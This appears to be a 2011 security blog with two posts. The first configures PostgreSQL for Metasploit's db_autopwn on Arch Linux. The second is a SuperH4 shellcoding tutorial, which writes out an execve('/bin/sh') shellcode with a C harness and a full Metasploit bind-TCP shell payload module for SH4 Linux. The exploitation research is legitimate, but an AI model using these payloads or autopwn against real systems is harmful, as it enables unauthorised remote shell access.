Wednesday, June 29, 2011

msf_autopwn Archlinux

# Intro

A quick and dirty way to setup metasploit correctly if you want to use msf_autopwn

% msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf > db_driver 
[*] No Active Driver
[*]        Available: 

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

[*]     DB Support: Enable the postgresql driver with the following command:
[*]                   * This requires libpq-dev and a build environment
[*]                 $ gem install postgres
[*]                 $ gem install pg # is an alternative that may work

msf > msfconsole  11,08s user 0,88s system 2% cpu 7:45,16 total

We will install postgresql and the associated gem, pg (not postgres):

% packer -S postgresql
résolution des dépendances...
recherche des conflits entre paquets...

Cibles (1): postgresql-9.0.4-4

Taille totale des paquets (téléchargement):   4,19 Mo
Taille totale des paquets (installation):   22,90 Mo

Procéder à l'installation ? [O/n] 
:: Récupération des paquets du dépôt extra...
 postgresql-9.0.4-4-x86_64              4,2M    8,0M/s 00:00:01 [##################################] 100%
(1/1) vérification de l'intégrité des paquets                   [##################################] 100%
(1/1) analyse des conflits entre fichiers                       [##################################] 100%
(1/1) installation de postgresql                                [##################################] 100%
Dépendances optionnelles pour postgresql
    python2: for PL/Python support
    perl: for PL/Perl support
% sudo gem install pg
% msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf > db_driver 
[*]    Active Driver: postgresql
[*]        Available: postgresql

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

msf > db_n
db_nmap   db_notes  
msf > db_nmap -A -T2 -vvv 127.0.0.1
[-] Database not connected
msf > db_connect 
[*]    Usage: db_connect @/
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: could not connect to server: Connection refused
        Is the server running on host "127.0.0.1" and accepting
        TCP/IP connections on port 5432?


Call stack:
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:2022:in `db_connect_postgresql'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1725:in `cmd_db_connect'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_command'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:338:in `block in run_single'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `each'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `run_single'
/opt/metasploit/lib/rex/ui/text/shell.rb:143:in `run'
/opt/metasploit/msfconsole:130:in `
'

This error means that the server is not started :

% sudo /etc/rc.d/postgresql start
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

The database cluster will be initialized with locale C.
The default database encoding has accordingly been set to SQL_ASCII.
The default text search configuration will be set to "english".

fixing permissions on existing directory /var/lib/postgres/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 24MB
creating configuration files ... ok
creating template1 database in /var/lib/postgres/data/base/1 ... ok
initializing pg_authid ... ok
initializing dependencies ... ok
creating system views ... ok
loading system objects' descriptions ... ok
creating conversions ... ok
creating dictionaries ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
loading PL/pgSQL server-side language ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option the
next time you run initdb.

Success. You can now start the database server using:

    /usr/bin/postgres -D /var/lib/postgres/data
or
    /usr/bin/pg_ctl -D /var/lib/postgres/data -l logfile start

:: Starting PostgreSQL                                                                            [DONE] 

But the previous msf command is failing again :

msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  role "dad" does not exist

The according role can be created easily :

% sudo su - postgres
[postgres@XXX ~]$ createuser -P
Saisir le nom du rôle à ajouter : dad
Saisir le mot de passe pour le nouveau rôle : 
Le saisir de nouveau : 
Le nouveau rôle est-il super-utilisateur ? (o/n) o

Trying to connect again :

msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  database "dad" does not exist
[postgres@gambas ~]$ createdb dad
msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: PGError: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.
: CREATE DATABASE "test" ENCODING = 'utf8'

Oh ok sure, disconnect msf pg driver then :

msf > db_disconnect
[postgres@XXX ~]$ dropdb dad
[postgres@XXX ~]$ psql
postgres=# CREATE DATABASE "dad" ENCODING = 'utf8'

One last test :)

msf > db_connect test
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
...
Youhou! You can now proudly use db_autopwn :)

Friday, June 24, 2011

SH4 fun

# Description

A brief tutorial on SuperH4 architecture.

# Specs

SuperH Family : http://www.renesas.com/media/products/mpumcu/superh/roadmap/shroadmap.gif

Source : http://www.renesas.com/products/mpumcu/superh/superh_landing.jsp

We will focus on the simple SH-4, also referred as SH7750 series. To start such an adventure we will need the precise description of this subtle architecture, and after some guessing we land at SuperH7750 Software Reference manual (http://documentation.renesas.com/eng/products/mpumcu/rej09b0318_sh_4sm.pdf).

There is, among other, the opcode list for this processor! As we won't make shellcodes on a sheet of paper, next step is to setup the whole environment. You have two possibilites here, boot your ultra rare superh machine, or emulate it with qemu. Let's describe the latter.

# Qemu setup

First thing to come in mind when you have to deal with uncommon architectures : google "aurel32 #REPLACE_WITH_ARCH". This debian man just made an awesome work by setting up debian qemu images for arm,........,sh4. So download the following files :

- http://people.debian.org/~aurel32/qemu/sh4/debian_sid_sh4_standard.qcow2

- http://people.debian.org/~aurel32/qemu/sh4/initrd.img-2.6.32-5-sh7751r

- http://people.debian.org/~aurel32/qemu/sh4/vmlinuz-2.6.32-5-sh7751r

By following the README, we launch qemu-system-sh4 with the following flags :

qemu-system-sh4 -M r2d -kernel vmlinuz-2.6.32-5-sh7751r -initrd initrd.img-2.6.32-5-sh7751r -hda debian_sid_sh4_standard.qcow2 -append "root=/dev/sda1 console=tty0 noiotrap" -net nic -net user -redir tcp:2222::22

Note that I added the tcp redirection to be able to ssh directly. Don't forget to "aptitude update && aptitude upgrade", as this is an old release you will have some stuff to update and unfortunately this emulated machine is slow as hell (btw you can fully read the specs in the meantime :).

http://community.qnx.com/sf/wiki/do/viewPage/projects.core_os/wiki/KernelSystemCall

# Shellcoding

First step, executing "/bin/sh" via a shellcode. Our architecture works essentially with registers, and according to the msdn documentation [1] we can identify their meaning :

 
 R0         Return values

 R1         Temp register
 R2         Temp register
 R3         Temp register

 R4         First function argument
 R5         Second function argument
 R6         Third function argument
 R7         Fourth function argument

 R8         Permanent register
 R9         Permanent register
 R10        Permanent register
 R11        Permanent register
 R12        Permanent register
 R13        Permanent register

 R14        Default frame pointer

 R15        Stack pointer

Now let's analyze how gcc compile a simple execve code :

root@debian-sh4:~# cat execve.c
void getshell()
{
   char *str = "//bin/sh";
   execve(str,0,0);
}

void main()
{
   getshell();
}
root@debian-sh4:~# gcc execve.c -o execve -g

We load it into our sh4 gdb :

root@debian-sh4:~# gdb -q execve
Reading symbols from /root/execve...done.
(gdb) disassemble main
Dump of assembler code for function main:
  0x004004f8 <+0>:     mov.l   r14,@-r15
  0x004004fa <+2>:     sts.l   pr,@-r15
  0x004004fc <+4>:     mov     r15,r14
  0x004004fe <+6>:     mov.l   0x400510 <main+24>,r1   ! 0x4004c0 <getshell>
  0x00400500 <+8>:     jsr     @r1
  0x00400502 <+10>:    nop
  0x00400504 <+12>:    mov     r14,r15
  0x00400506 <+14>:    lds.l   @r15+,pr
  0x00400508 <+16>:    mov.l   @r15+,r14
  0x0040050a <+18>:    rts
  0x0040050c <+20>:    nop
  0x0040050e <+22>:    nop
  0x00400510 <+24>:    .word 0x04c0
  0x00400512 <+26>:    .word 0x0040
End of assembler dump.

Call to a subroutine is done via the instruction jsr @addr, next step, the disassembly of the "getshell" function

(gdb) disassemble getshell
Dump of assembler code for function getshell:
  0x004004c0 <+0>:     mov.l   r14,@-r15
  0x004004c2 <+2>:     sts.l   pr,@-r15
  0x004004c4 <+4>:     add     #-4,r15
  0x004004c6 <+6>:     mov     r15,r14
  0x004004c8 <+8>:     mov     r14,r1
  0x004004ca <+10>:    add     #-60,r1
  0x004004cc <+12>:    mov.l   0x4004f0 <getshell+48>,r2       ! 0x40063c
  0x004004ce <+14>:    mov.l   r2,@(60,r1)
  0x004004d0 <+16>:    mov     r14,r1
  0x004004d2 <+18>:    add     #-60,r1
  0x004004d4 <+20>:    mov.l   @(60,r1),r1
  0x004004d6 <+22>:    mov     r1,r4
  0x004004d8 <+24>:    mov     #0,r5
  0x004004da <+26>:    mov     #0,r6
  0x004004dc <+28>:    mov.l   0x4004f4 <getshell+52>,r1       ! 0x400378 <execve@plt>
  0x004004de <+30>:    jsr     @r1
  0x004004e0 <+32>:    nop
  0x004004e2 <+34>:    add     #4,r14
  0x004004e4 <+36>:    mov     r14,r15
  0x004004e6 <+38>:    lds.l   @r15+,pr
  0x004004e8 <+40>:    mov.l   @r15+,r14
  0x004004ea <+42>:    rts
  0x004004ec <+44>:    nop
  0x004004ee <+46>:    nop
  0x004004f0 <+48>:    mov.b   @(r0,r3),r6
  0x004004f2 <+50>:    .word 0x0040
  0x004004f4 <+52>:    .word 0x0378
  0x004004f6 <+54>:    .word 0x0040
End of assembler dump.

Focusing on the execve function call, we can see that the address of our "/bin/sh" string is loaded in r4, then 0 in r5 and r6. In our shellcode we will only use syscalls to be as independant as possible. A step deeper, we have the execve@plt disassembly (not resolved) :

(gdb) disassemble execve
Dump of assembler code for function execve@plt:
  0x00400378 <+0>:     mov.l   0x40038c <execve@plt+20>,r0     ! 0x41076c <_GLOBAL_OFFSET_TABLE_+20>
  0x0040037a <+2>:     mov.l   @r0,r0
  0x0040037c <+4>:     mov.l   0x400388 <execve@plt+16>,r1     ! 0x400324
  0x0040037e <+6>:     jmp     @r0
  0x00400380 <+8>:     mov     r1,r0
  0x00400382 <+10>:    mov.l   0x400390 <execve@plt+24>,r1     ! 0x18
  0x00400384 <+12>:    jmp     @r0
  0x00400386 <+14>:    nop
  0x00400388 <+16>:    mov.b   r2,@(r0,r3)
  0x0040038a <+18>:    .word 0x0040
  0x0040038c <+20>:    mov.b   @(r0,r6),r7
  0x0040038e <+22>:    .word 0x0041
  0x00400390 <+24>:    sett
  0x00400392 <+26>:    .word 0x0000
End of assembler dump.

We run it one time to resolve :

(gdb) r
Starting program: /root/execve
Got object file from memory but can't read symbols: File format not recognized.
process 32715 is executing new program: /bin/dash
# exit

Program exited normally.
(gdb) disassemble execve
Dump of assembler code for function execve:
  0x29625d40 <+0>:     mov.l   r12,@-r15
  0x29625d42 <+2>:     mova    0x29625d9c <execve+92>,r0
  0x29625d44 <+4>:     mov.l   0x29625d9c <execve+92>,r12      ! 0xb7a34
  0x29625d46 <+6>:     mov     #11,r3
  0x29625d48 <+8>:     add     r0,r12
  0x29625d4a <+10>:    trapa   #19
  0x29625d4c <+12>:    or      r0,r0
  0x29625d4e <+14>:    or      r0,r0
  0x29625d50 <+16>:    or      r0,r0
  0x29625d52 <+18>:    or      r0,r0
  0x29625d54 <+20>:    or      r0,r0
  0x29625d56 <+22>:    mov.w   0x29625d98 <execve+88>,r1       ! 0xf000
  0x29625d58 <+24>:    cmp/hi  r1,r0
  0x29625d5a <+26>:    bt.s    0x29625d80 <execve+64>
  0x29625d5c <+28>:    mov     r0,r3
  0x29625d5e <+30>:    rts
  0x29625d60 <+32>:    mov.l   @r15+,r12
  0x29625d62 <+34>:    nop
  ....
  0x29625d7e <+62>:    nop
  0x29625d80 <+64>:    mov.l   0x29625d8c <execve+76>,r0       ! 0x198
  0x29625d82 <+66>:    stc     gbr,r1
  0x29625d84 <+68>:    mov.l   @(r0,r12),r0
  0x29625d86 <+70>:    bra     0x29625d90 <execve+80>
  0x29625d88 <+72>:    add     r0,r1
  0x29625d8a <+74>:    nop
  0x29625d8c <+76>:    .word 0x0198
  0x29625d8e <+78>:    .word 0x0000
  0x29625d90 <+80>:    neg     r3,r3
  0x29625d92 <+82>:    mov.l   r3,@r1
  0x29625d94 <+84>:    bra     0x29625d5e <execve+30>
  0x29625d96 <+86>:    mov     #-1,r0
  0x29625d98 <+88>:    fadd    fr0,fr0
  0x29625d9a <+90>:    nop
  0x29625d9c <+92>:    add     #52,r10
  0x29625d9e <+94>:    rts
End of assembler dump.

Better. This "trapa" instruction seems cool, with 11 in r3, let's see the execve syscall number :

root@debian-sh4:~# grep execve /usr/include/asm/unistd_32.h
#define __NR_execve              11

So r3 with the syscall number and r0 with the string address, perfect. Instructions are pretty limited and we can only push registers on the "stack", so to push a byte on the stack, it takes 4 bytes :

mov #imm, reg
mov reg,@-r15

First thought is to push bytes one by one (I am getting an error when putting immediate larger than 0xff) :

/*
* execve ("/bin/sh");
*
main:
       add     #-8, r15
       mov     r15, r4
       mov     #110, r2
       shll8   r2
       add     #105, r2
       shll8   r2
       add     #98, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       add     #4, r15
       xor     r2, r2
       shll8   r2
       add     #104, r2
       shll8   r2
       add     #115, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       mov     #11, r3
       xor     r5, r5
       xor     r6, r6
       trapa   #19
*/
#include <stdio.h>
#include <string.h>

char code[] = 
"\xf8\x7f\xf3\x64\x6e\xe2\x18\x42\x69\x72\x18\x42\x62\x72\x18"
"\x42\x2f\x72\x22\x2f\x04\x7f\x2a\x22\x18\x42\x68\x72\x18\x42"
"\x73\x72\x18\x42\x2f\x72\x22\x2f\x0b\xe3\x5a\x25\x6a\x26\x13"
"\xc3";

int main()
{
   printf("len:%d bytes\n", strlen(code));
   (*(void(*)()) code)();
   return 0;
}

But it is so fat! A ninja found another way to do it better here http://www.shell-storm.org/shellcode/files/shellcode-771.php, but this example focused on how to use the stack :)

# Metasploit ninja

We will add the SuperH4 architecture to metasploit :

% svn co https://www.metasploit.com/svn/framework3/trunk/
% svn diff
Index: lib/rex/constants.rb
===================================================================
--- lib/rex/constants.rb        (révision 13017)
+++ lib/rex/constants.rb        (copie de travail)
@@ -80,6 +80,9 @@
ARCH_TTY    = 'tty'
ARCH_ARMLE  = 'armle'
ARCH_ARMBE  = 'armbe'
+ARCH_SH4    = 'sh4'
+ARCH_SH4LE  = 'sh4le'
+ARCH_SH4BE  = 'sh4be'
ARCH_JAVA   = 'java'
ARCH_TYPES  =
       [
@@ -95,6 +98,9 @@
               ARCH_SPARC,
               ARCH_ARMLE,
               ARCH_ARMBE,
+               ARCH_SH4,
+               ARCH_SH4LE,
+               ARCH_SH4BE,
               ARCH_CMD,
               ARCH_PHP,
               ARCH_TTY,
Index: lib/rex/arch.rb
===================================================================
--- lib/rex/arch.rb     (révision 13017)
+++ lib/rex/arch.rb     (copie de travail)
@@ -63,6 +63,12 @@
                               [addr].pack('V')
                       when ARCH_ARMBE
                               [addr].pack('N')
+                       when ARCH_SH4
+                               [addr].pack('V')
+                       when ARCH_SH4LE
+                               [addr].pack('V')
+                       when ARCH_SH4BE
+                               [addr].pack('N')
               end
       end

The ARCH_SH4, ARCH_SH4BE and ARCH_SH4LE are now recognized by rex! As an example, we can simply create the metasploit module shell_bind_tcp.rb in modules/payloads/singles/linux/sh4/shell_bind_tcp.rb :

##
# $Id: shell_reverse_tcp.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

   include Msf::Payload::Single
   include Msf::Payload::Linux
   include Msf::Sessions::CommandShellOptions

   def initialize(info = {})
       super(merge_info(info,
           'Name'          => 'Linux Command Shell, Bind TCP Inline',
           'Version'       => '$Revision: 1 $',
           'Description'   => 'Listen for a connection and spawn a command shell',
           'Author'        => 'Dad`',
           'License'       => MSF_LICENSE,
           'Platform'      => 'linux',
           'Arch'          => ARCH_SH4,
           'Handler'       => Msf::Handler::BindTcp,
           'Session'       => Msf::Sessions::CommandShellUnix,
           'Payload'       =>
               {
                   'Offsets' =>
                       {
                           'LPORT'    => [ 116, 'n' ],
                       },
                   'Payload' =>
                       #### Tested successfully on:
                       # Linux debian-sh4 2.6.39-2-sh7751r
                       ####
                       # s = socket(2, 1, 0)
                       "\x66\xe3"        +#   mov     #102,r3
                       "\x02\xe4"        +#   mov     #2,r4
                       "\x01\xe5"        +#   mov     #1,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x01\xe4"        +#   mov     #1,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # bind(s, {2, port, 16}, 16)
                       "\x03\x64"        +#   mov     r0,r4
                       "\x03\x68"        +#   mov     r0,r8
                       "\x2a\x22"        +#   xor     r2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\x15\xc7"        +#   mova    4000c8 <dup+0x18>,r0
                       "\x01\x62"        +#   mov.w   @r0,r2
                       "\x28\x42"        +#   shll16  r2
                       "\x02\x72"        +#   add     #2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x10\xe6"        +#   mov     #16,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x02\xe4"        +#   mov     #2,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # listen(s, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x04\xe4"        +#   mov     #4,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # fd = accept(s, 0, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x05\xe4"        +#   mov     #5,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # dup2(fd, 2-1-0)
                       "\x03\x69"        +#   mov     r0,r9
                       "\x03\xea"        +#   mov     #3,r10
                       # <dup>:
                       "\xff\x7a"        +#   add     #-1,r10
                       "\x3f\xe3"        +#   mov     #63,r3
                       "\x93\x64"        +#   mov     r9,r4
                       "\xa3\x65"        +#   mov     r10,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x15\x4a"        +#   cmp/pl  r10
                       "\xf8\x89"        +#   bt      4000b0 <dup>
                       # execve(shell, 0, 0)
                       "\x0b\xe3"        +#   mov     #11,r3
                       "\x02\xc7"        +#   mova    4000cc <dup+0x1c>,r0
                       "\x03\x64"        +#   mov     r0,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x00\x00"        +#   LPORT
                       "\xff\xff"        +#   Junk
                       "/bin/sh"          #   Shell
               }
           ))

       register_options(
           [
               OptString.new('SHELL', [ true, "Shell to execute.", "/bin/sh" ])
           ], self.class)
   end

   def generate
       p = super

       sh = datastore['SHELL']
       p[120, sh.length] = sh

       p
   end

end

This is a simple example on how to perform a bind shell with a parametrable LPORT and SHELL. Their offsets are calculated relatively to the end. Note that I am using the socketcall syscall to handle the socket, listen, bind and accept commands. Arguments are pushed onto the stack respectively, then a pointer to this location is saved in r5, the syscall #63 is stored in r3 and finally r4 defines the action that socketcall should execute. Also, the dup2 over the three standards file descriptors is in a loop decrementing r10.

The shellcode is certainly far from optimal, but this is a first approach to this exotic architecture! I don't really know how to submit modules to metasploit framework, but if any of you knows ... :)

[1] http://msdn.microsoft.com/en-us/library/ms925519.aspx